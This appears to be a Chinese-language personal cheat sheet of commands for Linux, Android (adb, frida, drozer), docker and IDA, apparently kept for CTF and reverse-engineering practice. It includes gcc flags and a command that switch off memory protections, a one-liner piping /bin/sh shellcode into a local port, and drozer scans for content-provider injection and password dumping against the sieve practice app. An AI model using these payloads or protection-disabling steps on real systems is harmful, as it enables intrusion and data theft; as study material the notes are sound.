常用命令记录
本文最后更新于:2021年11月1日 晚上
Linux/Mac命令记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| echo xxxxx > xx.txt 会自动换行 echo -n xxxxx > xx.txt 不会换行
sudo passwd root //更改root密码
//链接 $ sudo rm -rf python $ sudo ln -s /usr/bin/python3 /usr/bin/python //换内核程序 sudo apt-get install synaptic //重启桌面 sudo /etc/init.d/gdm restart //关闭ASLR echo 0 > /proc/sys/kernel/randomize_va_space
NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了 Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息 PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限 gcc -z execstack -fno-stack-protector -no-pie -z norelro //linux命令,将指定程序在指定端口运行: socat tcp-listen:10001,reuseaddr,fork EXEC:./file_name,pty,raw,echo=0
//在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样)
特殊的gadgets: 通常位于x64的ELF程序中的__libc_csu_init, universal_gadget1 = 0x40075a universal_gadget2 = 0x400740
xattr -d -r com.apple.quarantine ./*
echo -e "`perl -e 'print "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1c\xd0\xff\xff"'`" | nc 127.0.0.1 1337
|
ABD/frida/android命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| adb tcpip 5555 adb connect xxxxx:5555 强制运行32位模式:adb install --abi armeabi-v7a xxxx.apk
cat /proc/cpuinfo #Android查看cpu架构
adb shell am start -D -n com.iscclockk/.MainActivity jdb附加 jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
setenforce 0 设置全局调试: magisk resetprop ro.debuggable 1 stop;start;
frida非标准端口连接: ./frida-server -l 0.0.0.0:6666 frida-ps -H 192.168.1.102:6666 objection -p 6666 以调试模式启动: adb shell am set-debug-app -w com.d3ctf.noname 查看android是32还是64: adb shell getprop ro.product.cpu.abi 查看app最前台进程: adb shell dumpsys window | grep mCurrentFocus frida -U -f cn.ticktick.task -l 202012lesson6.js --no-pause
mobsf:docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
docker命令
1 2 3 4 5 6 7 8 9 10 11 12 13
| //导入镜像:docker import - ubuntu/17.04.amd64 //运行镜像:docker run -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash 会创建一个docker容器,第一个端口是宿主机的端口,第二个是容器的端口 //列出容器:docker container ls -a //容器重命名:docker container rename old_name new_name //打开容器的shell:docker exec -it container_name /bin/bash //启动容器:docker start container_name //复制:docker container cp file_name container_name:/root
//导入镜像 docker load -i nginx.tar //导出镜像 docker save -o nginx.tar nginx:latest
|
IDA常用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| sub_ 指令和子函数起点 locret_ 返回指令 loc_ 指令 off_ 数据,包含偏移量 seg_ 数据,包含段地址值 asc_ 数据,ASCII字符串 byte_ 数据,字节(或字节数组) word_ 数据,16位数据(或字数组) dword_ 数据,32位数据(或双字数组) qword_ 数据,64位数据(或4字数组) flt_ 浮点数据,32位(或浮点数组) dbl_ 浮点数,64位(或双精度数组) tbyte_ 浮点数,80位(或扩展精度浮点数) stru_ 结构体(或结构体数组) algn_ 对齐指示 unk_ 未处理字节
|
drozer命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| > list > help app.activity.forintent > run app.package.list > run app.package.info -a com.android.browser > run app.activity.info -a com.android.browser > run app.activity.start --action android.intent.action.VIEW --data-uri http: > run scanner.provider.finduris -a com.sina.weibo > run app.provider.query content: > run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo > run shell.start > run tools.setup.busybox > list auxiliary > help auxiliary.webcontentresolver > run auxiliary.webcontentresolver 以sieve示例 > run app.package.list -f sieve > run app.package.info -a com.mwr.example.sieve > run app.package.attacksurface com.mwr.example.sieve > run app.activity.info -a com.mwr.example.sieve > run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList > run app.provider.info -a com.mwr.example.sieve > run scanner.provider.finduris -a com.mwr.example.sieve >run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址 > run app.provider.query content: > run app.provider.read content: > run app.provider.download content: > run scanner.provider.injection -a com.mwr.example.sieve > run scanner.provider.traversal -a com.mwr.example.sieve > run app.service.info -a com.mwr.example.sieve
|